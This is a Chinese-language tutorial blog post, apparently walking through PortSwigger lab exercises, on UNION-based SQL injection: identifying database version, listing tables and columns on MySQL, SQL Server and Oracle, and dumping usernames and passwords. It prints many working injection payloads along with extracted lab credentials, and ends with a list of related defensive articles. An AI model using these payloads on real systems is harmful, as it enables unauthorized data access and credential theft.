sql注入详解-02

简介: 前言在利用SQL注入漏洞时,通常需要收集数据库本身的一些信息。这包括数据库软件的类型和版本,以及数据库所包含的表和列的内容。

前言


在利用SQL注入漏洞时,通常需要收集数据库本身的一些信息。这包括数据库软件的类型和版本,以及数据库所包含的表和列的内容。


查询数据库类型和版本


不同的数据库提供了不同的查询其版本的方式。 您通常需要尝试不同的查询来查找有效的查询,从而可以确定数据库软件的类型和版本。

确定某些流行数据库类型的数据库版本的查询如下:

1.png

例如,您可以通过以下输入使用UNION攻击:

' UNION SELECT @@version--

这可能返回如下所示的输出,确认数据库是Microsoft SQL Server以及所使用的版本:

示例1

2.png

3.png

其实上图只要将from后面稍微改一改即可:

4.png5.png6.png

示例2

使用Burp Suite拦截和修改设置产品类别过滤器的请求。

确定查询返回的列数以及哪些列包含文本数据(具体操作详见上一篇)

验证查询返回两个列,它们都包含文本,在category参数中使用如下有效负载:'+UNION+SELECT+'abc','def'#使用以下有效负载来显示数据库版本:'+UNION+SELECT+@@version,+NULL#

7.png8.png9.png

列出数据库的内容

大多数数据库类型(Oracle除外)都有一组称为信息模式的视图,它们提供关于数据库的信息。

您可以查询information_schema.tables以列出数据库中的表:

SELECT * FROM information_schema.tables

这将返回如下输出:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE

此输出表明存在三个表,分别称为“产品”,“用户”和“反馈”。

然后,您可以查询information_schema.columns以列出各个表中的列:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

这将返回如下输出:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar

示例:输出显示指定表中的列以及每列的数据类型

10.png11.png12.png13.png14.png15.png里面主要是划红线的地方;

再看下面一个payload:

'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_ihdmlc'--

16.png

'+UNION+SELECT+username_uwlfut,+password_efkeac+FROM+users_ihdmlc--

17.png18.png19.png

Oracle上的信息架构

在Oracle上,您可以通过稍有不同的查询获得相同的信息。

您可以通过查询all_tables列出表:

SELECT * FROM all_tables

您可以通过查询all_tab_columns列出列:

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

示例

'+UNION+SELECT+'abc','def'+FROM+DUAL--

20.png

'+UNION+SELECT+table_name,NULL+FROM+all_tables--

21.png22.png

'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_PQHJGZ'--

23.png

PASSWORD_AHCZXT
USERNAME_FWAHRU

24.png

'+UNION+SELECT+USERNAME_FWAHRU,PASSWORD_AHCZXT+FROM+USERS_PQHJGZ--

25.png26.png27.png

在单个列中检索多个值

在前面的示例中,假设查询仅返回单个列。

通过将值串联在一起,可以轻松地在单个列中同时检索多个值,理想情况下,还可以使用合适的分隔符来区分组合的值。 例如,在Oracle上,您可以提交输入:

' UNION SELECT username || '~' || password FROM users--

它使用双管道序列||,这是Oracle上的字符串连接操作符。注入的查询将用户名和密码字段的值连接在一起,以~字符分隔。例如,查询的结果将允许您读取所有的用户名和密码:

...
administrator~s3cure
wiener~peter
carlos~montoya
...

注意,不同的数据库使用不同的语法来执行字符串连接。有关更多细节,请参见SQL注入备忘单: https://portswigger.net/web-security/sql-injection/cheat-sheet

'+UNION+SELECT+NULL,'abc'--

示例

28.png29.png

'+UNION+SELECT+NULL,username||'~'||password+from+users--

30.png31.png

administrator~dqjdhb7q21vlpoqar7ze

32.png33.png

目录
相关文章
|
2月前
|
SQL 安全 数据库
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
【7月更文挑战第26天】在 Python Web 开发中, 安全性至关重要。本文聚焦 SQL 注入、XSS 和 CSRF 这三大安全威胁,提供实战防御策略。SQL 注入可通过参数化查询和 ORM 框架来防范;XSS 则需 HTML 转义用户输入与实施 CSP;CSRF 防御依赖 CSRF 令牌和双重提交 Cookie。掌握这些技巧,能有效加固 Web 应用的安全防线。安全是持续的过程,需贯穿开发始终。
63 1
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
|
2月前
|
SQL 运维 安全
WAF如何防御SQL注入?
【7月更文挑战第25天】WAF如何防御SQL注入?
134 9
|
2月前
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【7月更文挑战第25天】在Python Web开发中确保应用安全至关重要。以下是针对SQL注入、XSS与CSRF攻击的防护策略及示例代码
58 6
|
2月前
|
SQL 安全 数据库
|
2月前
|
SQL 存储 安全
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
【7月更文挑战第25天】在Python Web应用开发中,安全至关重要,需防范如SQL注入、XSS与CSRF等攻击。**SQL注入**风险可通过避免直接拼接用户输入至SQL语句,改用参数化查询来缓解。**XSS**则需对用户输入的内容进行HTML转义处理,防止恶意脚本执行。对于**CSRF**,实现包括生成并验证CSRF令牌在内的防护机制是关键。综合运用这些防御策略能显著增强应用的安全性,但需持续学习以对抗不断变化的威胁。
66 5
|
2月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
【7月更文挑战第27天】在 Web 开发中,Python 面临着如 SQL 注入、XSS 和 CSRF 等安全威胁。
56 0
|
2月前
|
SQL 安全 Go
SQL注入不可怕,XSS也不难防!Python Web安全进阶教程,让你安心做开发!
【7月更文挑战第26天】在 Web 开发中, SQL 注入与 XSS 攻击常令人担忧, 但掌握正确防御策略可化解风险. 对抗 SQL 注入的核心是避免直接拼接用户输入至 SQL 语句. 使用 Python 的参数化查询 (如 sqlite3 库) 和 ORM 框架 (如 Django, SQLAlchemy) 可有效防范. 防范 XSS 攻击需严格过滤及转义用户输入. 利用 Django 模板引擎自动转义功能, 或手动转义及设置内容安全策略 (CSP) 来增强防护. 掌握这些技巧, 让你在 Python Web 开发中更加安心. 安全是个持续学习的过程, 不断提升才能有效保护应用.
40 1
|
2月前
|
SQL 安全 前端开发
Web安全新纪元:Python如何筑起SQL注入、XSS、CSRF的铜墙铁壁?
【7月更文挑战第26天】在Web开发中,安全性至关重要。Python提供强大工具来抵御SQL注入、XSS和CSRF等威胁。使用ORM如Django和SQLAlchemy可防SQL注入; Django等框架自动转义输出防XSS; CSRF通过自动及手动验证令牌来阻止。开发者须持续学习最新安全实践以保护用户数据。迈向Web安全新纪元,Python助你一臂之力。
32 1